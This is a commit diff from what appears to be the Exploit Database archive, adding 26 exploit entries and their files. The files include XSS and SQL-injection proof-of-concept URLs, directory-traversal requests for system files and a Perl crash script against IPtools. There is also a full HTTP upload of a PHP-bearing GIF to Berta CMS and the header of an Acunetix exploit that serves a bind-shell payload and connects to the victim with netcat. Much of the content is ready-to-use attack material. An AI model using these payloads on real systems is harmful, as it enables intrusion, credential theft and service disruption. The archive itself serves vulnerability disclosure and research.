DB: 2015-03-28
26 new exploits
This commit is contained in:
Offensive Security
parent
0078b8567a
commit
6fecd1c862
27 changed files with 859 additions and 0 deletions
26
files.csv
26
files.csv
|
|
@ -32924,3 +32924,29 @@ id,file,description,date,author,platform,type,port
|
|||
36504,platforms/hardware/remote/36504.rb,"QNAP Web Server Remote Code Execution via Bash Environment Variable Code Injection",2015-03-26,"Patrick Pellegrino",hardware,remote,0
|
||||
36505,platforms/windows/remote/36505.txt,"WebGate eDVR Manager Stack Buffer Overflow",2015-03-26,"Praveen Darshanam",windows,remote,0
|
||||
36506,platforms/php/webapps/36506.txt,"pfSense 2.2 - Multiple Vulnerabilities",2015-03-26,"High-Tech Bridge SA",php,webapps,0
|
||||
36507,platforms/windows/remote/36507.txt,"Microsoft AntiXSS 3/4.0 Library Sanitization Module Security Bypass Vulnerability",2012-01-10,"Adi Cohen",windows,remote,0
|
||||
36508,platforms/php/webapps/36508.txt,"VertrigoServ 2.25 'extensions.php' Script Cross Site Scripting Vulnerability",2012-01-05,"Stefan Schurtz",php,webapps,0
|
||||
36509,platforms/php/webapps/36509.txt,"SQLiteManager 1.2.4 main.php dbsel Parameter XSS",2012-01-05,"Stefan Schurtz",php,webapps,0
|
||||
36510,platforms/php/webapps/36510.txt,"SQLiteManager 1.2.4 index.php Multiple Parameter XSS",2012-01-05,"Stefan Schurtz",php,webapps,0
|
||||
36511,platforms/hardware/remote/36511.txt,"Astaro Security Gateway 8.1 HTML Injection Vulnerability",2012-12-27,"Vulnerability Research Laboratory",hardware,remote,0
|
||||
36512,platforms/php/webapps/36512.txt,"eFront 3.6.10 'download' Parameter Directory Traversal Vulnerability",2012-01-06,"Chokri B.A",php,webapps,0
|
||||
36513,platforms/windows/remote/36513.txt,"IpTools 0.1.4 Tiny TCP/IP servers Directory Traversal Vulnerability",2012-01-06,demonalex,windows,remote,0
|
||||
36514,platforms/windows/remote/36514.pl,"IPtools 0.1.4 Remote Command Server Buffer Overflow Vulnerability",2012-01-06,demonalex,windows,remote,0
|
||||
36515,platforms/asp/webapps/36515.txt,"DIGIT CMS 1.0.7 Cross Site Scripting and SQL Injection Vulnerabilities",2012-01-07,"BHG Security Center",asp,webapps,0
|
||||
36516,platforms/windows/remote/36516.py,"Acunetix OLE Automation Array Remote Code Execution",2015-03-27,"Naser Farhadi",windows,remote,0
|
||||
36517,platforms/windows/remote/36517.html,"WebGate WinRDS 2.0.8 StopSiteAllChannel Stack Overflow",2015-03-27,"Praveen Darshanam",windows,remote,0
|
||||
36518,platforms/windows/remote/36518.html,"WebGate Control Center 4.8.7 GetThumbnail Stack Overflow",2015-03-27,"Praveen Darshanam",windows,remote,0
|
||||
36519,platforms/windows/remote/36519.html,"WebGate eDVR Manager 2.6.4 SiteName Stack Overflow",2015-03-27,"Praveen Darshanam",windows,remote,0
|
||||
36520,platforms/php/webapps/36520.txt,"Berta CMS File Upload Bypass",2015-03-27,"Simon Waters",php,webapps,80
|
||||
36521,platforms/php/webapps/36521.txt,"Atar2b CMS 4.0.1 gallery_e.php id Parameter SQL Injection",2012-01-07,"BHG Security Center",php,webapps,0
|
||||
36522,platforms/php/webapps/36522.txt,"Atar2b CMS 4.0.1 pageH.php id Parameter SQL Injection",2012-01-07,"BHG Security Center",php,webapps,0
|
||||
36523,platforms/php/webapps/36523.txt,"Atar2b CMS 4.0.1 pageE.php id Parameter SQL Injection",2012-01-07,"BHG Security Center",php,webapps,0
|
||||
36524,platforms/php/webapps/36524.txt,"ClipBucket 2.6 channels.php cat Parameter XSS",2012-01-09,YaDoY666,php,webapps,0
|
||||
36525,platforms/php/webapps/36525.txt,"ClipBucket 2.6 collections.php cat Parameter XSS",2012-01-09,YaDoY666,php,webapps,0
|
||||
36526,platforms/php/webapps/36526.txt,"ClipBucket 2.6 groups.php cat Parameter XSS",2012-01-09,YaDoY666,php,webapps,0
|
||||
36527,platforms/php/webapps/36527.txt,"ClipBucket 2.6 search_result.php query Parameter XSS",2012-01-09,YaDoY666,php,webapps,0
|
||||
36528,platforms/php/webapps/36528.txt,"ClipBucket 2.6 videos.php cat Parameter XSS",2012-01-09,YaDoY666,php,webapps,0
|
||||
36529,platforms/php/webapps/36529.txt,"ClipBucket 2.6 view_collection.php type Parameter XSS",2012-01-09,YaDoY666,php,webapps,0
|
||||
36530,platforms/php/webapps/36530.txt,"ClipBucket 2.6 view_item.php type Parameter XSS",2012-01-09,YaDoY666,php,webapps,0
|
||||
36531,platforms/php/webapps/36531.txt,"ClipBucket 2.6 videos.php time Parameter SQL Injection",2012-01-09,YaDoY666,php,webapps,0
|
||||
36532,platforms/php/webapps/36532.txt,"ClipBucket 2.6 channels.php time Parameter SQL Injection",2012-01-09,YaDoY666,php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
9
platforms/asp/webapps/36515.txt
Executable file
9
platforms/asp/webapps/36515.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51316/info
|
||||
|
||||
DIGIT CMS is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
DIGIT CMS 1.0.7 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/path/Default.asp?sType=0&PageId=[Sqli]
|
||||
32
platforms/hardware/remote/36511.txt
Executable file
32
platforms/hardware/remote/36511.txt
Executable file
|
|
@ -0,0 +1,32 @@
|
|||
source: http://www.securityfocus.com/bid/51301/info
|
||||
|
||||
Astaro Security Gateway is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||
|
||||
Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.
|
||||
|
||||
Astaro Security Gateway 8.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
<div style="left: 300px; top: 220px; z-index: 2000; visibility: visible;" class="iPopUp" id="iPopup_2"><div
|
||||
|
||||
class="iPopUpTitle">Please confirm:</div><div class="iPopUpText"><p>​​​​​Are you sure
|
||||
that you want to delete the X509 certificate
|
||||
|
||||
with private key object '>"<INCLUDED PERSISTENT SCRIPTCODE HERE!!!">'?</p></iframe></p></div><table border="0"
|
||||
|
||||
cellpadding="0" cellspacing="0"><tbody><tr><td style="padding: 2px;"><div id="btnDefault_iPopup_2" class="button"
|
||||
style="width:
|
||||
|
||||
auto; cursor: pointer; color: black; font-weight: bold;"><div class="button_left"></div><div class="button_center"
|
||||
style="width:
|
||||
|
||||
auto;"><span style="font-weight: normal;">OK</span></div><div
|
||||
class="button_right"></div></div></td>​​​​​<td style="padding:
|
||||
|
||||
2px;"><div class="button" style="width: auto; cursor: pointer; color: black;"><div class="button_left"></div><div
|
||||
|
||||
class="button_center" style="width: auto;"><span style="font-weight: normal;">Cancel</span></div><div
|
||||
|
||||
class="button_right"></div></div></td></tr></tbody></table></div>
|
||||
|
||||
../index.dat
|
||||
|
||||
9
platforms/php/webapps/36508.txt
Executable file
9
platforms/php/webapps/36508.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51293/info
|
||||
|
||||
VertrigoServ is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
VertrigoServ 2.25 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/inc/extensions.php?mode=extensions&ext='"</script><script>alert(document.cookie)</script>
|
||||
9
platforms/php/webapps/36509.txt
Executable file
9
platforms/php/webapps/36509.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51294/info
|
||||
|
||||
SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
SQLiteManager 1.2.4 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/sqlite/main.php?dbsel='"</script><script>alert(document.cookie)</script>
|
||||
12
platforms/php/webapps/36510.txt
Executable file
12
platforms/php/webapps/36510.txt
Executable file
|
|
@ -0,0 +1,12 @@
|
|||
source: http://www.securityfocus.com/bid/51294/info
|
||||
|
||||
SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
SQLiteManager 1.2.4 is vulnerable; other versions may also be affected.
|
||||
|
||||
IE-only
|
||||
http://www.example.com/sqlite/?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
|
||||
http://www.example.com/sqlite/index.php?dbsel=" stYle="x:expre/**/ssion(alert(document.cookie))
|
||||
http://www.example.com/sqlite/index.php?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
|
||||
9
platforms/php/webapps/36512.txt
Executable file
9
platforms/php/webapps/36512.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51302/info
|
||||
|
||||
eFront is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
|
||||
|
||||
Successfully exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.
|
||||
|
||||
eFront 3.6.10 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/student.php?ctg=personal&user=trainee&op=files&download=[file]
|
||||
64
platforms/php/webapps/36520.txt
Executable file
64
platforms/php/webapps/36520.txt
Executable file
|
|
@ -0,0 +1,64 @@
|
|||
Berta CMS is a web based content management system using PHP and local file storage.
|
||||
|
||||
http://www.berta.me/
|
||||
|
||||
Due to use of a 3rd party Berta CMS website to redirect links within a phishing email brought to our attention we checked the file upload functionality of this software.
|
||||
|
||||
We found that the file upload didn't require authentication.
|
||||
|
||||
Images with a ".php" extension could be uploaded, and all that was required is that they pass the PHP getimagesize() function and have suitable dimensions.
|
||||
|
||||
It is possible for GIF image files (and possibly other image files - not tested) to contain arbitrary PHP whilst being well enough formed to pass the getimagesize() function with acceptable dimensions.
|
||||
|
||||
http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/ <http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/>
|
||||
|
||||
We can't ascertain if this is the weakness that was used to compromise the 3rd party server in question, however the patch requires authentication for all file uploads, which will likely resolve any similar issues.
|
||||
|
||||
The author was notified: 2015-03-22
|
||||
Author Acknowledge: 2015-03-23
|
||||
Patch released: 2015-03-26
|
||||
|
||||
The berta-0.8.10b.zip file from: http://www.berta.me/download/ includes a fix that requires authentication to upload files.
|
||||
|
||||
|
||||
This announcement should not be interpreted as implying either the author, or Surevine, have conducted any in-depth assessment of the suitability of Berta CMS for any purpose (Sometimes you just want to make life harder for those sending phishing emails).
|
||||
|
||||
|
||||
The following POST request will upload a c.php file which will run phpinfo() when fetched on vulnerable servers.
|
||||
|
||||
POST /engine/upload.php?entry=true&mediafolder=.all HTTP/1.1
|
||||
Host: 192.168.56.101
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://192.168.56.101/upload.html
|
||||
Connection: keep-alive
|
||||
Content-Type: multipart/form-data; boundary=---------------------------2147563051636691175750543802
|
||||
Content-Length: 1617
|
||||
|
||||
-----------------------------2147563051636691175750543802
|
||||
Content-Disposition: form-data; name="Filedata"; filename="c.php"
|
||||
Content-Type: text/php
|
||||
|
||||
GIF89/* < ³ ÿÿÿfffÌÌÌ333Ìÿÿ™™™3ffÌÌÿÌÿÌ™™Ìf3f 33 f™™3 3 3!þ GIF SmartSaver Ver1.1a , È < þ ÈI«½8ëÍ»ÿ`(Ždižhª®lë¾p,Ïtmßx®ï|ïÿÀ p¸ Ȥr™$ö˜ 4ê¬Z¯Õ cËíz¿`n { „ 2-xLn»ßé³|Î`« ¼^O6‡ãkp‚ƒ„#jtˆ]v)~`}g€_‹…”••‡‰‰“' _ 1˜Š–¤¥‚¢™s›& ^ŸŽ¡a«¦´µ?¨©g³$]¯ž± ¶ÃÄ<¸¹Âw X½\‘^»ÅÒÓ+ÇÈÐ,Í[Ô%ÇÑÜàá)ÖßÙËâ Þèëì'äeç MÌJ êíøùöº x{{ üý P€‚64
|
||||
ðVpÃ@> 8PƒÄ3 R±pOŸÇ þ ÞU8˜!@˜ (SbL9 a “š6Z8·° É 03 )¡#ÈŸøD Œ÷òäµI ¬ qY RN›D $½Æ€§O XÅ p §Qd‹
|
||||
Ps c˜® &’y5«Ûi[ÓF ð´‹R~ ÄŽ%Û4 Z {· Ðöa[q¥Î•P—Ë]Yy o™„ mc/*ål,|¸3©Ä )\fðX˜d.L+Ç“Ã Àh¾ 8{žM ôb×'‡‚**GãEŒ Tï>غgnãÉh+/d{·…у¹FU;ñ9ë ‰Xv} A/¬Ø —‹ Ôü»u0Ñå:g Ãëôªxv-À’嬮²Çë'R ˜Wôº™þ' f XCÅuýÜÆ ~áíç ý¹âÞqê xÐ7Þ}ÑP{ ®ç Ö„Ôàƒ$
|
||||
¡/ (Ýz zQÜLááÕ¡€ ý6‡ˆÉ•¨c ':“â é)¶ w Ý <H£A5å‚£$;FÉ£ŒJúw Z žŠ -ƒ$ ¡Iõ "Ob#å™8ô¸Í ˜e)a™vu@ä— „6f"pŠ æž5¨‰Ð XVù&r v
|
||||
3jy'ž„šÉç£/øY …B
|
||||
h¤œ^ž f<‹’FP‹(n %¤¤² )›q
|
||||
*{\j0§¦už *f;©ê£¨Ž–ª« § Ú¦kÒ¥`ž‚
|
||||
k¢oZÓ ²¡þæ·ë³ ôzå¯ j9ë /º9*/<?php phpinfo(); ?>/*
|
||||
`ÇŽ´Ìµ°U .±áBkî>#VëE’ ¦ªîª• Šj v« £í ¹åœë/®¹¾‹ Æ;h»6 D ·`°k0ŠÇ H¡³ÿú› ÃòN n Äñf/¹¤a÷±ÀkFÜ ‡ WlîÅÊÊ4f c¶Q s´6 ¢ˆz Ê1/RǯÊ@Wpñ ™É ³&¸ Ç]Aæ|ñ n± O ôÕ o+îi! † ¥!"“ÓÀ"4õ ¥—2Ö¤^ óX0wʆZ™´F6É rÝuÖV³²Û Ò óÔzâ Hqw?|kà‚ÿìwÅnóýUÆ’køá‡e |ùŸ•£7šã [L%G‚ãA©á}‹–Ku™7¼éza q- k‡Žf䬆·¯¯£ŽÔé² $nç Àk vº¶'o D(åá°<
|
||||
éQ€ `£` q}FÙ*ïý÷à‡/þøä—oþù觯þúì·ïþûðÇ/ÿüô×oÿýøç¯ÿþü÷ïÿÿ ;
|
||||
|
||||
-----------------------------2147563051636691175750543802
|
||||
Content-Disposition: form-data; name="submit"
|
||||
|
||||
Upload Image
|
||||
-----------------------------2147563051636691175750543802--
|
||||
|
||||
|
||||
|
||||
|
||||
Simon Waters
|
||||
9
platforms/php/webapps/36521.txt
Executable file
9
platforms/php/webapps/36521.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51317/info
|
||||
|
||||
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/gallery_e.php?id=118+order+by+10--
|
||||
9
platforms/php/webapps/36522.txt
Executable file
9
platforms/php/webapps/36522.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51317/info
|
||||
|
||||
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/pageE.php?id=118+order+by+10--
|
||||
9
platforms/php/webapps/36523.txt
Executable file
9
platforms/php/webapps/36523.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51317/info
|
||||
|
||||
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/pageH.php?id=104'
|
||||
9
platforms/php/webapps/36524.txt
Executable file
9
platforms/php/webapps/36524.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/channels.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
|
||||
9
platforms/php/webapps/36525.txt
Executable file
9
platforms/php/webapps/36525.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/collections.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
|
||||
9
platforms/php/webapps/36526.txt
Executable file
9
platforms/php/webapps/36526.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/groups.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
|
||||
9
platforms/php/webapps/36527.txt
Executable file
9
platforms/php/webapps/36527.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/search_result.php?query=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&submit=Search&type=
|
||||
9
platforms/php/webapps/36528.txt
Executable file
9
platforms/php/webapps/36528.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/videos.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
|
||||
9
platforms/php/webapps/36529.txt
Executable file
9
platforms/php/webapps/36529.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/view_collection.php?cid=9&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E
|
||||
9
platforms/php/webapps/36530.txt
Executable file
9
platforms/php/webapps/36530.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/view_item.php?collection=9&item=KWSWG7S983SY&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E
|
||||
9
platforms/php/webapps/36531.txt
Executable file
9
platforms/php/webapps/36531.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27
|
||||
9
platforms/php/webapps/36532.txt
Executable file
9
platforms/php/webapps/36532.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51321/info
|
||||
|
||||
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ClipBucket 2.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[path]/channels.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27
|
||||
11
platforms/windows/remote/36507.txt
Executable file
11
platforms/windows/remote/36507.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/51291/info
|
||||
|
||||
Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.
|
||||
|
||||
An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.
|
||||
|
||||
Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.
|
||||
|
||||
string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");
|
||||
|
||||
string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")
|
||||
12
platforms/windows/remote/36513.txt
Executable file
12
platforms/windows/remote/36513.txt
Executable file
|
|
@ -0,0 +1,12 @@
|
|||
source: http://www.securityfocus.com/bid/51311/info
|
||||
|
||||
IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.
|
||||
|
||||
Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.
|
||||
|
||||
IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/..\..\boot.ini
|
||||
http://www.example.com/../../boot.ini
|
||||
http://www.example.com/..\..\windows\system32\drivers\etc\hosts
|
||||
http://www.example.com/../../windows/system32/drivers/etc/hosts
|
||||
61
platforms/windows/remote/36514.pl
Executable file
61
platforms/windows/remote/36514.pl
Executable file
|
|
@ -0,0 +1,61 @@
|
|||
source: http://www.securityfocus.com/bid/51312/info
|
||||
|
||||
IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.
|
||||
|
||||
Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition.
|
||||
|
||||
IPtools 0.1.4 is vulnerable; other versions may also be affected.
|
||||
|
||||
Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability
|
||||
|
||||
Software : IpTools(Tiny TCP/IP server)
|
||||
|
||||
Software Version : 0.1.4
|
||||
|
||||
Vendor: http://iptools.sourceforge.net/iptools.html
|
||||
|
||||
Class: Boundary Condition Error
|
||||
|
||||
CVE:
|
||||
|
||||
Remote: Yes
|
||||
|
||||
Local: No
|
||||
|
||||
Published: 2012-01-07
|
||||
|
||||
Updated:
|
||||
|
||||
Impact : High
|
||||
|
||||
Bug Description :
|
||||
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
|
||||
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
|
||||
flaw while sending more than 255 characters to it.
|
||||
|
||||
POC:
|
||||
#-------------------------------------------------------------
|
||||
#!/usr/bin/perl -w
|
||||
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex (at) 163 (dot) com [email concealed]
|
||||
#-------------------------------------------------------------
|
||||
use IO::Socket;
|
||||
$remote_host = '127.0.0.1'; #victim ip as your wish
|
||||
$remote_port = 23; #rcmd default port number
|
||||
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
|
||||
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
|
||||
$sock->recv($content, 1000, 0);
|
||||
$count=0;
|
||||
while($count<=255){
|
||||
$sock->send("a", 0);
|
||||
$count++;
|
||||
}
|
||||
$sock->send("\r\n", 0);
|
||||
$sock->recv($content, 1000, 0);
|
||||
$sock->shutdown(2);
|
||||
exit(1);
|
||||
#-------------------------------------------------------------
|
||||
|
||||
Credits : This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]
|
||||
mail: demonalex (at) 163 (dot) com [email concealed] / ChaoYi.Huang (at) connect.polyu (dot) hk [email concealed]
|
||||
Pentester/Researcher
|
||||
Dark2S Security Team/PolyU.HK
|
||||
240
platforms/windows/remote/36516.py
Executable file
240
platforms/windows/remote/36516.py
Executable file
|
|
@ -0,0 +1,240 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import BaseHTTPServer, sys, socket
|
||||
|
||||
##
|
||||
# Acunetix OLE Automation Array Remote Code Execution
|
||||
#
|
||||
# Author: Naser Farhadi
|
||||
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
|
||||
#
|
||||
# Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7
|
||||
# Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record
|
||||
# Target Login Sequence
|
||||
# Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/
|
||||
# This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And
|
||||
# Metasploit windows/shell_bind_tcp Executable Payload
|
||||
# And Finally You Can Connect To Victim Machine Using Netcat
|
||||
# Usage:
|
||||
# chmod +x acunetix.py
|
||||
# ./acunetix.py
|
||||
# Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix
|
||||
# nc 192.168.1.7 333
|
||||
# Payload Generated By This Command: msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe
|
||||
